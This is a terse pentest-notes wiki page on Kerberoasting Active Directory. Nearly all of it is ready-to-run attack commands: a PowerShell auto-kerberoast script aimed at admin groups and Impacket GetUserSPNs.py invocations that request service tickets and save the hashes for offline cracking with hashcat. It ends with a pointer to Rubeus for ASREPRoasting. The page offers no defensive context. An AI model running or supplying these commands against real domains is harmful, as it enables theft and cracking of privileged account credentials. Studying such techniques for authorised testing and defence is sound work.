> For the complete documentation index, see [llms.txt](https://notes.brinkles.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.brinkles.wiki/tools/internal-tools/kerberoasting.md).

# Kerberoasting

$ powershell-import autokerberoast.ps1

$ powerpick invoke-autokerberoast -Groupname "\**admin\**"

## Kerberoast With GetUserSPNs.py

$ python3 GetUserSPNs.py -request -dc-ip \<DC IP HERE> Domain/User

## GetUserSPNs.py (Alt method, has issues for me sometimes)

$ python GetUserSPNs.py -request -dc-ip \<DC IP> \<Domain>/\<Username> -outputfile hashcat -debug

^ With this way, we can get a hash to crack with hashcat

## ASEPRoasting

For more commands / info, check out Rubeus